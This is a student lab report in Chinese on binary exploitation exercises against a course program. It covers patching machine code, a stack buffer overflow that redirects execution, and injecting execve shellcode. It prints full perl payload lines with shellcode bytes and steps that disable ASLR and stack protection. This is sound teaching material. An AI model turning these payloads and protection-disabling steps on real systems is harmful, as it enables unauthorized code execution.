#20222309 2024-2025-1 《网络与系统攻防技术》实验一实验报告
1.实验内容
1、直接修改程序机器指令,改变程序执行流程
2、通过构造输入参数,造成BOF攻击,改变程序执行流
3、注入Shellcode并执行
2.实验过程
1、直接修改程序机器指令,改变程序执行流程
将pwn1改名为pwn20222309-1,并运行
打开文件
打开文件为乱码
按esc键,输入:%!xxd进入十六进制编辑模式,使用/e8 d7快速找到需要修改的地址
修改地址,将d7改成c3,然后使用:%!xxd -r转回原来乱码格式,并使用:wq命令保存退出
./pwn20222309-1运行进行结果检验
2、通过构造输入参数,造成BOF攻击,改变程序执行流
使用sudo apt update和sudo apt install gdb命令安装gdb
用gdb调试pwn20222309-2,输入1111111122222222333333334444444412345678
用info r查询eip的值,值为0x34333231
使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令构造一个11111111222222223333333344444444\x7d\x84\x04\x08的字符串写入文件input20222309,然后使用(cat input20222309;cat) | ./pwn20222309-2将input20222309中的字符串作为文件pwn20222309-2的输入验证结果
3、注入Shellcode并执行
使用命令wegt http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb 下载压缩包,然后使用sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb进行解压
通过execstack -s pwn20222211-3 ;execstack -q pwn20222211-3 ;more /proc/sys/kernel/randomize_va_space ;sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space" ;more /proc/sys/kernel/randomize_va_space修改设置
使用perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input20222309 和(cat input20222309; cat) | ./pwn20222309-2创建一个文件作为文件pwn20222309-2的输入
新打开一个终端,用ps -ef | grep pwn20222309-2查看文件号和进程号,得到前一个终端的进程进程号为16795
使用attach 16795查找刚刚的进程号,使用disassemble foo进行反编译分析,查到ret的地址为0x080484ae
用break *0x080484ae设置断点,然后输入c表示继续运行
回到原终端按enter使程序继续运行
再次回到新终端使用info r esp查看esp栈顶指针位置,并查看存放的内容
栈顶指针地址加4个字节即为shellcode的地址即为0xffffcf80,使用perl -e 'print "A" x 32;print "\x80\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input20222309,然后再输入(cat input20222309; cat) | ./pwn20222309-2,将input20222309的输入内容作为pwn20222309-2的输入
3.问题及解决方案
- 问题1:下载execstack时无法直接用更新下载
- 问题1解决方案:询问同学后发现apt上没有这个资源,然后使用wegt http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb下载压缩包然后进行解压从而得到execstack
- 问题2:在进行execstack设置时,使用echo "0" > /proc/sys/kernel/randomize_va_space,结果没有权限,使用sudo也不行
- 问题2解决方案:上网查询后,使用 sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space" 设置成功
- 问题3:在查询上一个终端的进程号时发现只用一个进程号
- 问题3解决方案:因为我在上一个终端运行文件时打了个回车,我以为没有退出去这个进程就还在进行,但是事实上这个进程已经结束,重新操作,不打回车,在新终端中就可以找到两个进程
4.学习感悟、思考等
这个实验遇到的困难主要来自于虚拟机的安装和使用,在最开始的安装就用了好几个小时,在后续使用中还出现了重启虚拟机之后无法出现可视化界面等,而且网上还出现了n种方法,一一尝试都无效,最后只能重装一遍虚拟机。而在实验中频繁出现的问题就是没有权限的问题,有时候用sudo也依旧没有权限,这时有些问题上网找到了解决方法,有些无法解决,结果虚拟机重启之后又好用了。所以实验的收获除了对linux语法的熟练、对反汇编和十六进制编程器有了初步的了解,以及初步掌握了反编译并修改可执行文件并学会进行bof攻击之外,最大的收获是对我耐心的磨练。
参考资料
无